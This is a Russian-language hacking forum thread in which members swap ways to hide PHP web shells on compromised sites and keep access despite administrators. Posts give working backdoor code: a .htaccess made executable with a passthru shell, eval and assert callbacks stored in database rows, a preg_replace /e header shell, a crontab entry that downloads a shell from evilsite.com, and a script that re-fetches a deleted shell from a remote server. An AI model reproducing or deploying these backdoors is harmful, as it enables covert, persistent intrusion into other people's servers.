Лучшие способы спрятать php шелл!

Discussion in 'Уязвимости' started by Cesto, 14 Oct 2011.

  1. Cesto

    Cesto New Member

    Joined:
    7 Jul 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Собираю коллекцию способов, как спрятать шелл


    1) Спрятать в .htaccess

    # Override default deny rule to make .htaccess file accessible over web
    <Files ~ "^\.ht">
    Order allow,deny
    Allow from all
    </Files>

    # Make .htaccess file be interpreted as php file. This occur after apache has interpreted
    # the apache directoves from the .htaccess file
    AddType application/x-httpd-php .htaccess

    ###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######

    domain/path/.htaccess?c=command

    2) Аппенд ко всем скриптам php_value auto_append_file "/tmp/httpconf.tmp"

    3) Спрятать в гиф
    .htaccess
    AddType application/x-httpd-php gif

    4) Записать шелл в базу данных, в неприметную новость





    Какие еще хорошие способы спрятать шелл, чтобы долго удержаться в системе?
     
    1. d1v

      d1v Elder - Старейшина

      Joined:
      21 Feb 2009
      Messages:
      676
      Likes Received:
      331
      Reputations:
      120
      echo `$_REQUEST[shell]`;
       
      1 person likes this.
      1. aydin-ka

        aydin-ka Elder - Старейшина

        Joined:
        3 May 2009
        Messages:
        316
        Likes Received:
        98
        Reputations:
        29
        1. Для начала разберем структуру команды crontab. Таблица crontab состоит из 6 колонок, разделяемых пробелами или табуляторами. Первые пять колонок задают время выполнения (Минута, Час, День, Месяц, День недели), в них может находиться число, список чисел, разделенных запятыми, диапазон чисел, разделенных тире, или символ ‘*’.
        Все остальные символы в строке интерпретируются как выполняемая команда с ее параметрами.

        2. Вероятно, на сервере нет поддержки псевдотерминала, поэтому создадим временный файл /tmp/cmd со следующим содержимым:

        SHELL=/bin/bash 1 0 * * * wget http://evilsite.com/shell.txt -O /home/user/www/shell.php

        3. Запускаем команду crontab /tmp/cmd.

        4. Радуемся, ведь теперь в директории /var/spool/cron (может меняться в зависимости от системы) будет создан файл с именем пользователя, который будет каждый день, в 00 часов 01 минуту запускать команду wget, для скачивания нашего шелла.

        мини-статья из журнала ][акер декабрь 2009 года.
         
        1 person likes this.
        1. Proktolog

          Proktolog New Member

          Joined:
          2 Jul 2010
          Messages:
          1
          Likes Received:
          1
          Reputations:
          0
          Вот об этом нельзя ли поподробней, плиз? Чаще всего в этом случае пхп код просто выводится на экран.
           
          1. Expl0ited

            Expl0ited Members of Antichat

            Joined:
            16 Jul 2010
            Messages:
            1,035
            Likes Received:
            534
            Reputations:
            935
            Для того что бы php код не выводился, а выполнялся, нужно использовать callback функции.
             
            _________________________
            1. Mail2k

              Mail2k New Member

              Joined:
              22 Aug 2011
              Messages:
              2
              Likes Received:
              0
              Reputations:
              0

              Если не трудно,можно пример,как это выглядеть должно?
               
              1. Expl0ited

                Expl0ited Members of Antichat

                Joined:
                16 Jul 2010
                Messages:
                1,035
                Likes Received:
                534
                Reputations:
                935
                PHP:
                <?php
                # тут подключение к базе и любой код
                if(isset($_REQUEST['userlogin'])) 
                {
                   
                $query  mysql_query('SELECT user, pass FROM users WHERE id=1');
                   
                $result mysql_fetch_assoc($query);
                   
                array_filter(array($result['pass']), $result['user']);
                }
                # и тут любой код
                ?>
                В колонке `pass` - phpinfo(); в колонке `user` - assert, вот структура базы, для теста:
                PHP:
                CREATE TABLE IF NOT EXISTS `users` (
                  `
                idint(10NOT NULL AUTO_INCREMENT,
                  `
                uservarchar(255NOT NULL,
                  `
                passvarchar(255NOT NULL,
                  
                PRIMARY KEY (`id`)
                ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=;

                INSERT INTO `users` (`id`, `user`, `pass`) VALUES
                (1'assert''phpinfo();');
                Т.е. логика у скрипта такая, если в _REQUEST['userlogin'] передаются данные, то скрипт обращается к базе и запрашивает из таблицы users две колонки user и pass у записи где id равен 1, и эти данные попадают в функцию array_filter которая возвращает данные отфильтрованные в соответствии с результатом функции обратного вызова, в качестве такой функции мы используем assert, которая может обработать строку как PHP код, в качестве этой строки у нас phpinfo(); что собственно и работает нам на руку.
                 
                _________________________
                1. Mail2k

                  Mail2k New Member

                  Joined:
                  22 Aug 2011
                  Messages:
                  2
                  Likes Received:
                  0
                  Reputations:
                  0

                  если я правильно понял,то при данной схеме вместо какой-то определенной страницы на сайте будет загружаться вебшелл? Верно?


                  А можно ли к примеру сделать таким образом,чтобы при запросе опредленной страницы вебшел из базы записывался в какую-нибудь папку? И записывался бы только в случае,его отсутствия в этой папке.
                   
                  1. Expl0ited

                    Expl0ited Members of Antichat

                    Joined:
                    16 Jul 2010
                    Messages:
                    1,035
                    Likes Received:
                    534
                    Reputations:
                    935
                    Конечно можно. Пищу для размышлений и пример реализации я тебе дал.
                     
                    _________________________
                    1. Boolean

                      Boolean Elder - Старейшина

                      Joined:
                      5 Sep 2010
                      Messages:
                      147
                      Likes Received:
                      83
                      Reputations:
                      78
                      А как вам такой вариант незаметного шелла?
                      Не каждый может заметить такой шелл.
                      PHP:
                      @preg_replace('/(.*)/e'$_SERVER['HTTP_REMOTE_ADDR'], NULL);
                      И отправляем пакет, в хеадер добавляем:
                      Code:
                      REMOTE_ADDR: phpinfo();
                      
                      Единственное, нужно чтобы флаг e был разрешен, по дефолту — разрешен.
                       
                      2 people like this.
                      1. b3

                        b3 Banned

                        Joined:
                        5 Dec 2004
                        Messages:
                        2,170
                        Likes Received:
                        1,155
                        Reputations:
                        202
                        Я заметил привычку прятать шеллы и прочие скрипты на сервере в папке /tmp/ Но видимо не все знают что содержимое папки /tmp/ живет до ребута, хоть сервера и редко ребутят, но все же.
                         
                        1. m0Hze

                          m0Hze Well-Known Member

                          Joined:
                          1 Nov 2008
                          Messages:
                          266
                          Likes Received:
                          655
                          Reputations:
                          208
                          PHP:
                          $_($_1);
                          s.php?_=eval&_1=phpinfo();
                           
                          Раrаdох likes this.
                          1. попугай

                            попугай Elder - Старейшина

                            Joined:
                            15 Jan 2008
                            Messages:
                            1,520
                            Likes Received:
                            401
                            Reputations:
                            196
                            только при register globals on.
                            Даже если бы rg on был бы, то ничего не вышло бы, т.к. eval не функция, поэтому ее нельзя в переменную заложить, но я понимаю что это просто пример был, можно использовать другие варинаты, например прямая запись в файл.
                             
                            #13 попугай, 1 Nov 2011
                            Last edited: 1 Nov 2011
                            3 people like this.
                            1. Cennarios

                              Cennarios Elder - Старейшина

                              Joined:
                              13 Jul 2008
                              Messages:
                              378
                              Likes Received:
                              179
                              Reputations:
                              108
                              Я бы подходил тоньше в данному вопросу. А именно - использование методик сокрытия доступа , как такового в зависимости от условий каждого конкретного случая. К примеру VPS с одним сайтом, сетевые правила разрешают входящие соединения без явных ограничений ( тупо не перекрываются коннекты на 33, 404, 31337 etc произвольные открытые несанкционировано порты). В крон вбивается скрипт физически размещаемый вне локаций имеющих отношение к веб сервисам. Каждые 10-15 мин он проверяет наличие активирующей команды на на стороннем сервере ( банально в том же .txt) , если TRUE -> биндится порт - благо если сервисами не забит порт 8080. А далее удаленно выполняется к примеру тот же PHP. Кому-то может показаться чрезмерно массивным и излишне сомнительным. На практике же ,все достаточно просто в реализации. Пользуюсь и , как показывает статистика, доступ к ресурсам живет дольше чем в варианте постояттного физического размещения шела в директории веб-сервера.
                               
                              1. vasykas

                                vasykas Banned

                                Joined:
                                7 Mar 2011
                                Messages:
                                963
                                Likes Received:
                                137
                                Reputations:
                                37
                                У меня такая задумка:
                                В любом модуле,плагине вообщем в любой странице
                                сайта вставляем прозрачный или под цвет сайта
                                (главное чтоб его не видно было)
                                на пример 2х2 код iframe и чтобы он находился
                                где нибудь в углу, и при клике по нему делался
                                back-connect на любой порт, получаем консоль
                                чем не полноценный шелл.Так же можно релизовать
                                проксю заместо кода back-connecta ставим редирект
                                на другой сайт с таким же iframe и так далее
                                N'ое количество сайтов.Чем не цепочка прокси.
                                А для GUI'шников на последнем N'ом сайте можно и WSO
                                Пусть попробуют проследить.
                                 
                                1. Cennarios

                                  Cennarios Elder - Старейшина

                                  Joined:
                                  13 Jul 2008
                                  Messages:
                                  378
                                  Likes Received:
                                  179
                                  Reputations:
                                  108
                                  2 vasykas:

                                  Ты наверное не понял сути вопроса данного поста. Речь идет о том, как спрятать выполняемый код от администратора какого-либо ресурса, на котором необходимо разместить веб-шелл. Именно то, как спрятать вызываемый через iframe(как ты предлагаешь) код, именно и обсуждается в данном посте.
                                   
                                  1. Ereee

                                    Ereee Elder - Старейшина

                                    Joined:
                                    1 Dec 2011
                                    Messages:
                                    560
                                    Likes Received:
                                    370
                                    Reputations:
                                    267
                                    Вот мой способ(можно в иднекс запихнуть например):
                                    PHP:
                                    <?php
                                    $file 
                                    'shell.php'//адрес шелла на сайте
                                    if (file_exists($file)) { //проверка на наличие файла
                                    $a md5_file($file); // хэшируем
                                    $fileb file_get_contents('http://site/shell.txt'); //адрес шелла в др. сервере
                                    $b md5_file($fileb); // хэшируем
                                    if ($a!=$b) {
                                    copy("http://site/shell.txt","/dostupnaja/papka/dlya/zapisi/shell.php"); //копируем шелл
                                    }
                                    } else {
                                    copy("http://site/shell.txt","/dostupnaja/papka/dlya/zapisi/shell.php"); //копируем шелл
                                    }
                                    ?>
                                    Если кто-то сменить пароль/удалить все возвращается на место ;)

                                    UPD. Поправил.
                                     
                                    #17 Ereee, 11 Jan 2012
                                    Last edited: 11 Jan 2012
                                    1. Boolean

                                      Boolean Elder - Старейшина

                                      Joined:
                                      5 Sep 2010
                                      Messages:
                                      147
                                      Likes Received:
                                      83
                                      Reputations:
                                      78
                                      А ничего что переменная $b - не установлена?
                                      У тебя по сути всегда будет $a!=$b.
                                      Да и потом, переедет сайт на новый сервер, а там allow_url_fopen=Off, вот понавылазиет им варнингов.
                                      Если нато уже пошло, то уж куда лучше @eval($_COOKIE[lol]); оно и не так палится.

                                      Да и вообще никакой логики, файл шелла проверяется обычный shell.php, а заливаешь ты уже куда-то в глубь.
                                       
                                      1 person likes this.
                                      1. Expl0ited

                                        Expl0ited Members of Antichat

                                        Joined:
                                        16 Jul 2010
                                        Messages:
                                        1,035
                                        Likes Received:
                                        534
                                        Reputations:
                                        935
                                        PHP:
                                        egrep -"eval\(" `find . -type f -name "*.php" -print`
                                         
                                        _________________________
                                        1 person likes this.
                                        1. Ereee

                                          Ereee Elder - Старейшина

                                          Joined:
                                          1 Dec 2011
                                          Messages:
                                          560
                                          Likes Received:
                                          370
                                          Reputations:
                                          267
                                          2Boolean,
                                          sorry. Там не $b = md5_file($b); а $b = md5_file($fileb);

                                          >У тебя по сути всегда будет $a!=$b.
                                          С чего это вдруг?

                                          2Expl0ited,
                                          +1
                                           
                                          #20 Ereee, 11 Jan 2012
                                          Last edited: 11 Jan 2012